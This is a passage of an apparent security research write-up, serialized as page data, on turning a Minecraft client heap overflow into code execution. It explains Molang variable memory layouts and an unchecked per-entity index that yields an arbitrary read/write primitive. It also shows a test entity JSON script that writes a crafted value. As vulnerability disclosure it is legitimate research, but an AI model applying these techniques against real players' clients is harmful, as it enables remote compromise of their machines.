struct_fields;\n",{"type":25,"tag":216,"props":156668,"children":156669},{"class":6916,"line":7551},[156670],{"type":25,"tag":216,"props":156671,"children":156672},{"style":6958},[156673],{"type":31,"value":156674},"        \n",{"type":25,"tag":216,"props":156676,"children":156677},{"class":6916,"line":7568},[156678],{"type":25,"tag":216,"props":156679,"children":156680},{"style":6958},[156681],{"type":31,"value":127965},{"type":25,"tag":216,"props":156683,"children":156684},{"class":6916,"line":7585},[156685],{"type":25,"tag":216,"props":156686,"children":156687},{"style":6958},[156688],{"type":31,"value":42954},{"type":25,"tag":216,"props":156690,"children":156691},{"class":6916,"line":7598},[156692],{"type":25,"tag":216,"props":156693,"children":156694},{"style":6958},[156695],{"type":31,"value":20530},{"type":25,"tag":38,"props":156697,"children":156698},{},[156699,156701,156706],{"type":31,"value":156700},"In memory a ",{"type":25,"tag":82,"props":156702,"children":156704},{"className":156703},[],[156705],{"type":31,"value":156524},{"type":31,"value":156707}," instance resembles:",{"type":25,"tag":206,"props":156709,"children":156711},{"code":156710},"      +---------------+---------------+\n+0x00 |  FNV-1 hash   |std::string.buf|\n      +---------------+---------------+\n+0x10 |std::string.buf|std::string.len|\n      +---------------+---------------+\n+0x20 |std::string.cap|   Unknown     |\n      +-------+-------+---------------+\n+0x30 | Type  |Unused |Variable value |\n      +-------+-------+---------------+\n+0x40 |std::vector.buf|std::vector.len|\n      +---------------+---------------+\n+0x50 |std::vector.cap|   Unknown     |\n      +---------------+---------------+\n      |     . . .     |     . . .     |\n",[156712],{"type":25,"tag":82,"props":156713,"children":156714},{"__ignoreMap":7},[156715],{"type":31,"value":156710},{"type":25,"tag":38,"props":156717,"children":156718},{},[156719],{"type":31,"value":156720},"For reference, example debugger view of the layout:",{"type":25,"tag":38,"props":156722,"children":156723},{},[156724],{"type":25,"tag":6461,"props":156725,"children":156727},{"alt":54541,"src":156726},"/posts/minecraft-heap-overflow-to-rce/image8.png",[],{"type":25,"tag":38,"props":156729,"children":156730},{},[156731],{"type":31,"value":156732},"The full structure is larger and contains more fields than shown, but many are irrelevant to the exploit.",{"type":25,"tag":38,"props":156734,"children":156735},{},[156736,156738,156744,156746,156751,156753,156759,156761,156766,156767,156772,156774,156779,156780,156786,156787,156793],{"type":31,"value":156737},"We only care about the ",{"type":25,"tag":82,"props":156739,"children":156741},{"className":156740},[],[156742],{"type":31,"value":156743},"MolangScriptArg",{"type":31,"value":156745}," beginning at offset ",{"type":25,"tag":82,"props":156747,"children":156749},{"className":156748},[],[156750],{"type":31,"value":132844},{"type":31,"value":156752}," because it contains variable values. In the screenshot above, the ",{"type":25,"tag":82,"props":156754,"children":156756},{"className":156755},[],[156757],{"type":31,"value":156758},"value_type",{"type":31,"value":156760}," at ",{"type":25,"tag":82,"props":156762,"children":156764},{"className":156763},[],[156765],{"type":31,"value":132844},{"type":31,"value":1674},{"type":25,"tag":82,"props":156768,"children":156770},{"className":156769},[],[156771],{"type":31,"value":1876},{"type":31,"value":156773}," (meaning float), and the ",{"type":25,"tag":82,"props":156775,"children":156777},{"className":156776},[],[156778],{"type":31,"value":43109},{"type":31,"value":156760},{"type":25,"tag":82,"props":156781,"children":156783},{"className":156782},[],[156784],{"type":31,"value":156785},"0x38",{"type":31,"value":1674},{"type":25,"tag":82,"props":156788,"children":156790},{"className":156789},[],[156791],{"type":31,"value":156792},"0xbf2070c8",{"type":31,"value":179},{"type":25,"tag":38,"props":156795,"children":156796},{},[156797,156799,156805,156807,156812,156814,156819,156820,156825,156827,156832,156834,156839],{"type":31,"value":156798},"During assignment, such as ",{"type":25,"tag":82,"props":156800,"children":156802},{"className":156801},[],[156803],{"type":31,"value":156804},"variable.a = variable.b",{"type":31,"value":156806},", each field of ",{"type":25,"tag":82,"props":156808,"children":156810},{"className":156809},[],[156811],{"type":31,"value":156743},{"type":31,"value":156813}," is copied from variable ",{"type":25,"tag":82,"props":156815,"children":156817},{"className":156816},[],[156818],{"type":31,"value":7165},{"type":31,"value":60738},{"type":25,"tag":82,"props":156821,"children":156823},{"className":156822},[],[156824],{"type":31,"value":162},{"type":31,"value":156826},". Interestingly, the ",{"type":25,"tag":82,"props":156828,"children":156830},{"className":156829},[],[156831],{"type":31,"value":43109},{"type":31,"value":156833}," field is always copied as a ",{"type":25,"tag":82,"props":156835,"children":156837},{"className":156836},[],[156838],{"type":31,"value":59597},{"type":31,"value":156840}," even if the type is a 32-bit float.",{"type":25,"tag":38,"props":156842,"children":156843},{},[156844,156846,156852],{"type":31,"value":156845},"Each entity stores its variables in a per-entity vector called ",{"type":25,"tag":82,"props":156847,"children":156849},{"className":156848},[],[156850],{"type":31,"value":156851},"MolangVariableMap",{"type":31,"value":179},{"type":25,"tag":631,"props":156854,"children":156856},{"id":156855},"molangvariablemap",[156857],{"type":31,"value":156851},{"type":25,"tag":38,"props":156859,"children":156860},{},[156861,156866,156868,156874,156876,156882],{"type":25,"tag":82,"props":156862,"children":156864},{"className":156863},[],[156865],{"type":31,"value":156851},{"type":31,"value":156867}," is simply a ",{"type":25,"tag":82,"props":156869,"children":156871},{"className":156870},[],[156872],{"type":31,"value":156873},"std::vector\u003CMolangVariable *>",{"type":31,"value":156875}," contained per entity. To reason about its memory we need to recall MSVC ",{"type":25,"tag":82,"props":156877,"children":156879},{"className":156878},[],[156880],{"type":31,"value":156881},"std::vector",{"type":31,"value":156883}," layout:",{"type":25,"tag":206,"props":156885,"children":156887},{"code":156886,"language":2248,"meta":7,"className":20467,"style":7},"struct vector {\n    void *buf;\n    void *len;\n    void *cap;\n};\n",[156888],{"type":25,"tag":82,"props":156889,"children":156890},{"__ignoreMap":7},[156891,156903,156919,156935,156951],{"type":25,"tag":216,"props":156892,"children":156893},{"class":6916,"line":6917},[156894,156898],{"type":25,"tag":216,"props":156895,"children":156896},{"style":6930},[156897],{"type":31,"value":13351},{"type":25,"tag":216,"props":156899,"children":156900},{"style":6958},[156901],{"type":31,"value":156902}," vector {\n",{"type":25,"tag":216,"props":156904,"children":156905},{"class":6916,"line":6763},[156906,156910,156914],{"type":25,"tag":216,"props":156907,"children":156908},{"style":6930},[156909],{"type":31,"value":20500},{"type":25,"tag":216,"props":156911,"children":156912},{"style":6947},[156913],{"type":31,"value":13767},{"type":25,"tag":216,"props":156915,"children":156916},{"style":6958},[156917],{"type":31,"value":156918},"buf;\n",{"type":25,"tag":216,"props":156920,"children":156921},{"class":6916,"line":6772},[156922,156926,156930],{"type":25,"tag":216,"props":156923,"children":156924},{"style":6930},[156925],{"type":31,"value":20500},{"type":25,"tag":216,"props":156927,"children":156928},{"style":6947},[156929],{"type":31,"value":13767},{"type":25,"tag":216,"props":156931,"children":156932},{"style":6958},[156933],{"type":31,"value":156934},"len;\n",{"type":25,"tag":216,"props":156936,"children":156937},{"class":6916,"line":6999},[156938,156942,156946],{"type":25,"tag":216,"props":156939,"children":156940},{"style":6930},[156941],{"type":31,"value":20500},{"type":25,"tag":216,"props":156943,"children":156944},{"style":6947},[156945],{"type":31,"value":13767},{"type":25,"tag":216,"props":156947,"children":156948},{"style":6958},[156949],{"type":31,"value":156950},"cap;\n",{"type":25,"tag":216,"props":156952,"children":156953},{"class":6916,"line":7104},[156954],{"type":25,"tag":216,"props":156955,"children":156956},{"style":6958},[156957],{"type":31,"value":20530},{"type":25,"tag":38,"props":156959,"children":156960},{},[156961,156966,156968,156973,156975,156981,156983,156988,156989,156994],{"type":25,"tag":82,"props":156962,"children":156964},{"className":156963},[],[156965],{"type":31,"value":154047},{"type":31,"value":156967}," points to the allocated array of elements, ",{"type":25,"tag":82,"props":156969,"children":156971},{"className":156970},[],[156972],{"type":31,"value":13088},{"type":31,"value":156974}," points just past the last used element, and ",{"type":25,"tag":82,"props":156976,"children":156978},{"className":156977},[],[156979],{"type":31,"value":156980},"cap",{"type":31,"value":156982}," points to the end of the allocated buffer. Notably, the types of ",{"type":25,"tag":82,"props":156984,"children":156986},{"className":156985},[],[156987],{"type":31,"value":13088},{"type":31,"value":1301},{"type":25,"tag":82,"props":156990,"children":156992},{"className":156991},[],[156993],{"type":31,"value":156980},{"type":31,"value":156995}," aren't typical integer types for sizes, but both are pointers.",{"type":25,"tag":38,"props":156997,"children":156998},{},[156999],{"type":31,"value":157000},"Example layout for a vector holding three variable pointers plus one unused slot:",{"type":25,"tag":206,"props":157002,"children":157004},{"code":157003},"+---------+         +--------------------+\n|   buf   +-------> | MolangVariable A*  |\n+---------+         +--------------------+\n|   len   +----+    | MolangVariable B*  |\n+---------+    |    +--------------------+\n|   cap   |    |    | MolangVariable C*  |\n+----+----+    |    +--------------------+\n     |         +--> | Empty element slot |\n     |              +--------------------+\n     |                                   ^\n     +-----------------------------------+\n",[157005],{"type":25,"tag":82,"props":157006,"children":157007},{"__ignoreMap":7},[157008],{"type":31,"value":157003},{"type":25,"tag":38,"props":157010,"children":157011},{},[157012,157014,157020,157022,157028],{"type":31,"value":157013},"Because each entity can create and initialize variables independently, the indices of specific variables (e.g., ",{"type":25,"tag":82,"props":157015,"children":157017},{"className":157016},[],[157018],{"type":31,"value":157019},"variable.result",{"type":31,"value":157021},") may differ between entities. To get around this, ",{"type":25,"tag":82,"props":157023,"children":157025},{"className":157024},[],[157026],{"type":31,"value":157027},"MolangIndexMap",{"type":31,"value":157029}," is used to map a global variable name to the correct per-entity slot.",{"type":25,"tag":631,"props":157031,"children":157033},{"id":157032},"molangindexmap",[157034],{"type":31,"value":157027},{"type":25,"tag":38,"props":157036,"children":157037},{},[157038,157043,157045,157051,157053,157059],{"type":25,"tag":82,"props":157039,"children":157041},{"className":157040},[],[157042],{"type":31,"value":157027},{"type":31,"value":157044}," is a per-entity ",{"type":25,"tag":82,"props":157046,"children":157048},{"className":157047},[],[157049],{"type":31,"value":157050},"std::vector\u003Cuint16_t>",{"type":31,"value":157052},". The engine maintains a global hashmap that maps variable names to a global index. When the client encounters a statement like ",{"type":25,"tag":82,"props":157054,"children":157056},{"className":157055},[],[157057],{"type":31,"value":157058},"variable.result = 0",{"type":31,"value":157060}," it:",{"type":25,"tag":6705,"props":157062,"children":157063},{},[157064,157074,157084],{"type":25,"tag":2037,"props":157065,"children":157066},{},[157067,157069],{"type":31,"value":157068},"Checks the global hashmap for ",{"type":25,"tag":82,"props":157070,"children":157072},{"className":157071},[],[157073],{"type":31,"value":13031},{"type":25,"tag":2037,"props":157075,"children":157076},{},[157077,157079],{"type":31,"value":157078},"If found, uses the global index to look up the per-entity index in ",{"type":25,"tag":82,"props":157080,"children":157082},{"className":157081},[],[157083],{"type":31,"value":157027},{"type":25,"tag":2037,"props":157085,"children":157086},{},[157087,157089],{"type":31,"value":157088},"If not found, creates a new global entry and assigns it ",{"type":25,"tag":82,"props":157090,"children":157092},{"className":157091},[],[157093],{"type":31,"value":157094},"last_index + 1",{"type":25,"tag":38,"props":157096,"children":157097},{},[157098,157100,157105,157107,157112,157114,157119,157121,157126,157128,157133,157134,157140,157142,157147],{"type":31,"value":157099},"This means the same global index for variable ",{"type":25,"tag":82,"props":157101,"children":157103},{"className":157102},[],[157104],{"type":31,"value":13031},{"type":31,"value":157106}," maps to the same position inside every entity’s ",{"type":25,"tag":82,"props":157108,"children":157110},{"className":157109},[],[157111],{"type":31,"value":157027},{"type":31,"value":157113},", but the actual ",{"type":25,"tag":82,"props":157115,"children":157117},{"className":157116},[],[157118],{"type":31,"value":156524},{"type":31,"value":157120}," for ",{"type":25,"tag":82,"props":157122,"children":157124},{"className":157123},[],[157125],{"type":31,"value":13031},{"type":31,"value":157127}," may live at different slots inside each entity's ",{"type":25,"tag":82,"props":157129,"children":157131},{"className":157130},[],[157132],{"type":31,"value":156851},{"type":31,"value":22485},{"type":25,"tag":82,"props":157135,"children":157137},{"className":157136},[],[157138],{"type":31,"value":157139},"Entity.MolangIndexMap[global_index]",{"type":31,"value":157141}," stores the per-entity index (slot) of variable ",{"type":25,"tag":82,"props":157143,"children":157145},{"className":157144},[],[157146],{"type":31,"value":13031},{"type":31,"value":179},{"type":25,"tag":38,"props":157149,"children":157150},{},[157151,157153,157158,157160,157165,157167,157172,157174,157179,157181,157187,157189,157194],{"type":31,"value":157152},"Importantly, we found that indices in the ",{"type":25,"tag":82,"props":157154,"children":157156},{"className":157155},[],[157157],{"type":31,"value":157027},{"type":31,"value":157159}," are trusted and the client does not validate that a per-entity index actually lies within the bounds of that entity’s ",{"type":25,"tag":82,"props":157161,"children":157163},{"className":157162},[],[157164],{"type":31,"value":156851},{"type":31,"value":157166},". This means that if we overwrite the index of variable ",{"type":25,"tag":82,"props":157168,"children":157170},{"className":157169},[],[157171],{"type":31,"value":13031},{"type":31,"value":157173}," (an example, it can be any variable) with the chunk overlap and make it out-of-bounds for that entity’s ",{"type":25,"tag":82,"props":157175,"children":157177},{"className":157176},[],[157178],{"type":31,"value":156851},{"type":31,"value":157180},", we could read from and write to ",{"type":25,"tag":82,"props":157182,"children":157184},{"className":157183},[],[157185],{"type":31,"value":157186},"address + 0x38",{"type":31,"value":157188}," through ",{"type":25,"tag":82,"props":157190,"children":157192},{"className":157191},[],[157193],{"type":31,"value":157019},{"type":31,"value":179},{"type":25,"tag":607,"props":157196,"children":157198},{"id":157197},"building-a-molang-arbitrary-rw-primitive",[157199],{"type":31,"value":157200},"Building a Molang Arbitrary R/W Primitive",{"type":25,"tag":38,"props":157202,"children":157203},{},[157204,157206,157211,157213,157218],{"type":31,"value":157205},"We needed some pointer inside a heap-sprayable object that we could use to build an arbitrary read/write primitive in Molang. Eventually, we came up with the thought of using internal pointers of ",{"type":25,"tag":82,"props":157207,"children":157209},{"className":157208},[],[157210],{"type":31,"value":156881},{"type":31,"value":157212}," - specifically, of ",{"type":25,"tag":82,"props":157214,"children":157216},{"className":157215},[],[157217],{"type":31,"value":156851},{"type":31,"value":157219}," vector.",{"type":25,"tag":38,"props":157221,"children":157222},{},[157223,157225,157230,157232,157237,157238,157243,157245,157250],{"type":31,"value":157224},"Because every entity object is heap-allocated and contains a ",{"type":25,"tag":82,"props":157226,"children":157228},{"className":157227},[],[157229],{"type":31,"value":156851},{"type":31,"value":157231}," vector, we realised we might be able to overwrite a variable index so it reads the ",{"type":25,"tag":82,"props":157233,"children":157235},{"className":157234},[],[157236],{"type":31,"value":154047},{"type":31,"value":59754},{"type":25,"tag":82,"props":157239,"children":157241},{"className":157240},[],[157242],{"type":31,"value":156851},{"type":31,"value":157244}," vector belonging to an entity object placed just next the ",{"type":25,"tag":82,"props":157246,"children":157248},{"className":157247},[],[157249],{"type":31,"value":156851},{"type":31,"value":157251}," allocated buffer.",{"type":25,"tag":206,"props":157253,"children":157255},{"code":157254},"      +-------------+ \u003C--+                   \n+---> | variable.a  |    |                   \n|     +-------------+    |                   \n|     | variable.b  |    |                   \n|     +-------------+    +- MolangVariableMap allocated buffer\n|     |    . . .    |    |                   \n|     +-------------+    |                   \n|     | variable.f  |    |                   \n|     +-------------+ \u003C--+--+                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     |             |       |                \n|     +------+------+       +- Entity Object \n+-----+ buf  | len  |       |                \n      +------+------+       |                \n      | cap  |      |       |                \n      +------+      |       |                \n      +-------------+ \u003C-----+                                       \n",[157256],{"type":25,"tag":82,"props":157257,"children":157258},{"__ignoreMap":7},[157259],{"type":31,"value":157254},{"type":25,"tag":38,"props":157261,"children":157262},{},[157263,157265,157270,157272,157278,157280,157285,157286,157292,157293,157298,157300,157305,157307,157312,157314,157319,157321,157326,157328,157333,157335,157340,157342,157348,157350,157355,157357,157362],{"type":31,"value":157264},"In the scenario above, the ",{"type":25,"tag":82,"props":157266,"children":157268},{"className":157267},[],[157269],{"type":31,"value":157027},{"type":31,"value":157271}," would map ",{"type":25,"tag":82,"props":157273,"children":157275},{"className":157274},[],[157276],{"type":31,"value":157277},"variable.a",{"type":31,"value":157279}," -> index ",{"type":25,"tag":82,"props":157281,"children":157283},{"className":157282},[],[157284],{"type":31,"value":1876},{"type":31,"value":7020},{"type":25,"tag":82,"props":157287,"children":157289},{"className":157288},[],[157290],{"type":31,"value":157291},"variable.b",{"type":31,"value":157279},{"type":25,"tag":82,"props":157294,"children":157296},{"className":157295},[],[157297],{"type":31,"value":184},{"type":31,"value":157299},", and so on. If we overwrite the index for ",{"type":25,"tag":82,"props":157301,"children":157303},{"className":157302},[],[157304],{"type":31,"value":157277},{"type":31,"value":157306}," with a value that is out-of-bounds for the ",{"type":25,"tag":82,"props":157308,"children":157310},{"className":157309},[],[157311],{"type":31,"value":156851},{"type":31,"value":157313},", it can instead index the ",{"type":25,"tag":82,"props":157315,"children":157317},{"className":157316},[],[157318],{"type":31,"value":154047},{"type":31,"value":157320}," field of the entity object above. Reading ",{"type":25,"tag":82,"props":157322,"children":157324},{"className":157323},[],[157325],{"type":31,"value":157277},{"type":31,"value":157327}," will then return the pointer stored at offset ",{"type":25,"tag":82,"props":157329,"children":157331},{"className":157330},[],[157332],{"type":31,"value":156785},{"type":31,"value":157334}," from the start of the ",{"type":25,"tag":82,"props":157336,"children":157338},{"className":157337},[],[157339],{"type":31,"value":156851},{"type":31,"value":157341}," (which in this diagram corresponds to ",{"type":25,"tag":82,"props":157343,"children":157345},{"className":157344},[],[157346],{"type":31,"value":157347},"variable.f",{"type":31,"value":157349},"), and writing to ",{"type":25,"tag":82,"props":157351,"children":157353},{"className":157352},[],[157354],{"type":31,"value":157277},{"type":31,"value":157356}," will overwrite that pointer - corrupting ",{"type":25,"tag":82,"props":157358,"children":157360},{"className":157359},[],[157361],{"type":31,"value":157347},{"type":31,"value":179},{"type":25,"tag":38,"props":157364,"children":157365},{},[157366,157368,157373,157374,157380,157382,157387,157389,157395,157397,157402,157404,157409,157411,157417,157419,157425,157427,157432],{"type":31,"value":157367},"To leak the address of the Minecraft executable we could increment ",{"type":25,"tag":82,"props":157369,"children":157371},{"className":157370},[],[157372],{"type":31,"value":157277},{"type":31,"value":7010},{"type":25,"tag":82,"props":157375,"children":157377},{"className":157376},[],[157378],{"type":31,"value":157379},"variable.a += 8",{"type":31,"value":157381},"), which advances the pointer used for ",{"type":25,"tag":82,"props":157383,"children":157385},{"className":157384},[],[157386],{"type":31,"value":157347},{"type":31,"value":157388}," by 8 bytes. The Molang script would repeat this until it finds a vtable pointer in the heap. At that point we can write arbitrary values into writable regions of the Minecraft process by setting ",{"type":25,"tag":82,"props":157390,"children":157392},{"className":157391},[],[157393],{"type":31,"value":157394},"variable.a = variable.exe_leak + \u003Coffset>",{"type":31,"value":157396}," - this updates the ",{"type":25,"tag":82,"props":157398,"children":157400},{"className":157399},[],[157401],{"type":31,"value":157347},{"type":31,"value":157403}," pointer to our chosen address, and writing to ",{"type":25,"tag":82,"props":157405,"children":157407},{"className":157406},[],[157408],{"type":31,"value":157347},{"type":31,"value":157410},", for example ",{"type":25,"tag":82,"props":157412,"children":157414},{"className":157413},[],[157415],{"type":31,"value":157416},"variable.f = 1337",{"type":31,"value":157418},", writes the value ",{"type":25,"tag":82,"props":157420,"children":157422},{"className":157421},[],[157423],{"type":31,"value":157424},"1337",{"type":31,"value":157426}," to offset ",{"type":25,"tag":82,"props":157428,"children":157430},{"className":157429},[],[157431],{"type":31,"value":156785},{"type":31,"value":157433}," from that calculated address.",{"type":25,"tag":631,"props":157435,"children":157437},{"id":157436},"testing-the-idea",[157438],{"type":31,"value":157439},"Testing the Idea",{"type":25,"tag":38,"props":157441,"children":157442},{},[157443,157445,157450,157452,157457,157459,157464],{"type":31,"value":157444},"We tested the idea by manually adding a pointer to the start of ",{"type":25,"tag":82,"props":157446,"children":157448},{"className":157447},[],[157449],{"type":31,"value":156851},{"type":31,"value":157451}," and modifying the index of a variable so that it indexed this out-of-bounds pointer. It ",{"type":25,"tag":64,"props":157453,"children":157454},{},[157455],{"type":31,"value":157456},"almost",{"type":31,"value":157458}," worked - below is the state of the ",{"type":25,"tag":82,"props":157460,"children":157462},{"className":157461},[],[157463],{"type":31,"value":156851},{"type":31,"value":157465},"'s allocated buffer before the Molang script executes:",{"type":25,"tag":38,"props":157467,"children":157468},{},[157469],{"type":25,"tag":6461,"props":157470,"children":157472},{"alt":54541,"src":157471},"/posts/minecraft-heap-overflow-to-rce/image9.png",[],{"type":25,"tag":38,"props":157474,"children":157475},{},[157476],{"type":31,"value":157477},"And this is after execution:",{"type":25,"tag":38,"props":157479,"children":157480},{},[157481],{"type":25,"tag":6461,"props":157482,"children":157484},{"alt":54541,"src":157483},"/posts/minecraft-heap-overflow-to-rce/image10.png",[],{"type":25,"tag":38,"props":157486,"children":157487},{},[157488],{"type":31,"value":157489},"For reference, this is what the relevant entity json file containing our Molang looks like:",{"type":25,"tag":206,"props":157491,"children":157493},{"code":157492,"language":37954,"meta":7,"className":37952,"style":7},"{\n  \"format_version\": \"1.10.0\",\n  \"minecraft:client_entity\": {\n    \"description\": {\n      \"identifier\": \"minecraft:leash_knot\",\n\n      [...]\n        \n      \"scripts\": {\n        \"initialize\": [\n          \"variable.a = 0;\",\n          \"variable.b = 0;\",\n          \"variable.c = 0;\",\n          [...]\n        ],\n        \"pre_animation\": [\n          \"variable.a = 2.310732e-27;\"\n        ]\n      },\n    }\n  }\n}\n",[157494],{"type":25,"tag":82,"props":157495,"children":157496},{"__ignoreMap":7},[157497,157504,157525,157537,157549,157570,157577,157584,157591,157603,157616,157628,157640,157652,157668,157675,157687,157695,157703,157710,157717,157724],{"type":25,"tag":216,"props":157498,"children":157499},{"class":6916,"line":6917},[157500],{"type":25,"tag":216,"props":157501,"children":157502},{"style":6958},[157503],{"type":31,"value":14830},{"type":25,"tag":216,"props":157505,"children":157506},{"class":6916,"line":6763},[157507,157512,157516,157521],{"type":25,"tag":216,"props":157508,"children":157509},{"style":6941},[157510],{"type":31,"value":157511},"  \"format_version\"",{"type":25,"tag":216,"props":157513,"children":157514},{"style":6958},[157515],{"type":31,"value":19282},{"type":25,"tag":216,"props":157517,"children":157518},{"style":8199},[157519],{"type":31,"value":157520},"\"1.10.0\"",{"type":25,"tag":216,"props":157522,"children":157523},{"style":6958},[157524],{"type":31,"value":7459},{"type":25,"tag":216,"props":157526,"children":157527},{"class":6916,"line":6772},[157528,157533],{"type":25,"tag":216,"props":157529,"children":157530},{"style":6941},[157531],{"type":31,"value":157532},"  \"minecraft:client_entity\"",{"type":25,"tag":216,"props":157534,"children":157535},{"style":6958},[157536],{"type":31,"value":40979},{"type":25,"tag":216,"props":157538,"children":157539},{"class":6916,"line":6999},[157540,157545],{"type":25,"tag":216,"props":157541,"children":157542},{"style":6941},[157543],{"type":31,"value":157544},"    \"description\"",{"type":25,"tag":216,"props":157546,"children":157547},{"style":6958},[157548],{"type":31,"value":40979},{"type":25,"tag":216,"props":157550,"children":157551},{"class":6916,"line":7104},[157552,157557,157561,157566],{"type":25,"tag":216,"props":157553,"children":157554},{"style":6941},[157555],{"type":31,"value":157556},"      \"identifier\"",{"type":25,"tag":216,"props":157558,"children":157559},{"style":6958},[157560],{"type":31,"value":19282},{"type":25,"tag":216,"props":157562,"children":157563},{"style":8199},[157564],{"type":31,"value":157565},"\"minecraft:leash_knot\"",{"type":25,"tag":216,"props":157567,"children":157568},{"style":6958},[157569],{"type":31,"value":7459},{"type":25,"tag":216,"props":157571,"children":157572},{"class":6916,"line":7210},[157573],{"type":25,"tag":216,"props":157574,"children":157575},{"emptyLinePlaceholder":16},[157576],{"type":31,"value":7636},{"type":25,"tag":216,"props":157578,"children":157579},{"class":6916,"line":7238},[157580],{"type":25,"tag":216,"props":157581,"children":157582},{"style":26346},[157583],{"type":31,"value":131367},{"type":25,"tag":216,"props":157585,"children":157586},{"class":6916,"line":7251},[157587],{"type":25,"tag":216,"props":157588,"children":157589},{"style":6958},[157590],{"type":31,"value":156674},{"type":25,"tag":216,"props":157592,"children":157593},{"class":6916,"line":7269},[157594,157599],{"type":25,"tag":216,"props":157595,"children":157596},{"style":6941},[157597],{"type":31,"value":157598},"      \"scripts\"",{"type":25,"tag":216,"props":157600,"children":157601},{"style":6958},[157602],{"type":31,"value":40979},{"type":25,"tag":216,"props":157604,"children":157605},{"class":6916,"line":7290},[157606,157611],{"type":25,"tag":216,"props":157607,"children":157608},{"style":6941},[157609],{"type":31,"value":157610},"        \"initialize\"",{"type":25,"tag":216,"props":157612,"children":157613},{"style":6958},[157614],{"type":31,"value":157615},": [\n",{"type":25,"tag":216,"props":157617,"children":157618},{"class":6916,"line":7299},[157619,157624],{"type":25,"tag":216,"props":157620,"children":157621},{"style":8199},[157622],{"type":31,"value":157623},"          \"variable.a = 0;\"",{"type":25,"tag":216,"props":157625,"children":157626},{"style":6958},[157627],{"type":31,"value":7459},{"type":25,"tag":216,"props":157629,"children":157630},{"class":6916,"line":7551},[157631,157636],{"type":25,"tag":216,"props":157632,"children":157633},{"style":8199},[157634],{"type":31,"value":157635},"          \"variable.b = 0;\"",{"type":25,"tag":216,"props":157637,"children":157638},{"style":6958},[157639],{"type":31,"value":7459},{"type":25,"tag":216,"props":157641,"children":157642},{"class":6916,"line":7568},[157643,157648],{"type":25,"tag":216,"props":157644,"children":157645},{"style":8199},[157646],{"type":31,"value":157647},"          \"variable.c = 0;\"",{"type":25,"tag":216,"props":157649,"children":157650},{"style":6958},[157651],{"type":31,"value":7459},{"type":25,"tag":216,"props":157653,"children":157654},{"class":6916,"line":7585},[157655,157660,157664],{"type":25,"tag":216,"props":157656,"children":157657},{"style":6958},[157658],{"type":31,"value":157659},"          [",{"type":25,"tag":216,"props":157661,"children":157662},{"style":26346},[157663],{"type":31,"value":13541},{"type":25,"tag":216,"props":157665,"children":157666},{"style":6958},[157667],{"type":31,"value":15722},{"type":25,"tag":216,"props":157669,"children":157670},{"class":6916,"line":7598},[157671],{"type":25,"tag":216,"props":157672,"children":157673},{"style":6958},[157674],{"type":31,"value":47609},{"type":25,"tag":216,"props":157676,"children":157677},{"class":6916,"line":7607},[157678,157683],{"type":25,"tag":216,"props":157679,"children":157680},{"style":6941},[157681],{"type":31,"value":157682},"        \"pre_animation\"",{"type":25,"tag":216,"props":157684,"children":157685},{"style":6958},[157686],{"type":31,"value":157615},{"type":25,"tag":216,"props":157688,"children":157689},{"class":6916,"line":7630},[157690],{"type":25,"tag":216,"props":157691,"children":157692},{"style":8199},[157693],{"type":31,"value":157694},"          \"variable.a = 2.310732e-27;\"\n",{"type":25,"tag":216,"props":157696,"children":157697},{"class":6916,"line":7639},[157698],{"type":25,"tag":216,"props":157699,"children":157700},{"style":6958},[157701],{"type":31,"value":157702},"        ]\n",{"type":25,"tag":216,"props":157704,"children":157705},{"class":6916,"line":7648},[157706],{"type":25,"tag":216,"props":157707,"children":157708},{"style":6958},[157709],{"type":31,"value":41156},{"type":25,"tag":216,"props":157711,"children":157712},{"class":6916,"line":7716},[157713],{"type":25,"tag":216,"props":157714,"children":157715},{"style":6958},[157716],{"type":31,"value":7305},{"type":25,"tag":216,"props":157718,"children":157719},{"class":6916,"line":7724},[157720],{"type":25,"tag":216,"props":157721,"children":157722},{"style":6958},[157723],{"type":31,"value":9817},{"type":25,"tag":216,"props":157725,"children":157726},{"class":6916,"line":7754},[157727],{"type":25,"tag":216,"props":157728,"children":157729},{"style":6958},[157730],{"type":31,"value":7868},{"type":25,"tag":38,"props":157732,"children":157733},{},[157734,157736,157741,157743,157748,157750,157755],{"type":31,"value":157735},"As shown, the pointer of a variable at offset ",{"type":25,"tag":82,"props":157737,"children":157739},{"className":157738},[],[157740],{"type":31,"value":156785},{"type":31,"value":157742}," was modified and the core concept works. During ",{"type":25,"tag":82,"props":157744,"children":157746},{"className":157745},[],[157747],{"type":31,"value":156743},{"type":31,"value":157749}," copy, pointers of some other variables above offset ",{"type":25,"tag":82,"props":157751,"children":157753},{"className":157752},[],[157754],{"type":31,"value":156785},{"type":31,"value":157756}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":25,"tag":38,"props":157758,"children":157759},{},[157760],{"type":31,"value":157761},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":25,"tag":2033,"props":157763,"children":157764},{},[157765,157778],{"type":25,"tag":2037,"props":157766,"children":157767},{},[157768,157770,157776],{"type":31,"value":157769},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":25,"tag":82,"props":157771,"children":157773},{"className":157772},[],[157774],{"type":31,"value":157775},"FLT_MAX",{"type":31,"value":157777},", the value becomes an invalid float causing the increment operation to fail.",{"type":25,"tag":2037,"props":157779,"children":157780},{},[157781,157783,157788,157790,157795,157796,157801,157803,157808],{"type":31,"value":157782},"As noted before, during assignment, ",{"type":25,"tag":82,"props":157784,"children":157786},{"className":157785},[],[157787],{"type":31,"value":156743},{"type":31,"value":157789}," fields are copied, and the ",{"type":25,"tag":82,"props":157791,"children":157793},{"className":157792},[],[157794],{"type":31,"value":43109},{"type":31,"value":156833},{"type":25,"tag":82,"props":157797,"children":157799},{"className":157798},[],[157800],{"type":31,"value":59597},{"type":31,"value":157802},". Since our source ",{"type":25,"tag":82,"props":157804,"children":157806},{"className":157805},[],[157807],{"type":31,"value":156743},{"type":31,"value":157809}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":25,"tag":38,"props":157811,"children":157812},{},[157813],{"type":31,"value":157814},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":25,"tag":631,"props":157816,"children":157818},{"id":157817},"expanding-the-idea",[157819],{"type":31,"value":157820},"Expanding the Idea",{"type":25,"tag":38,"props":157822,"children":157823},{},[157824,157826,157831,157833,157838,157839,157844,157846,157851],{"type":31,"value":157825},"As mentioned earlier, the 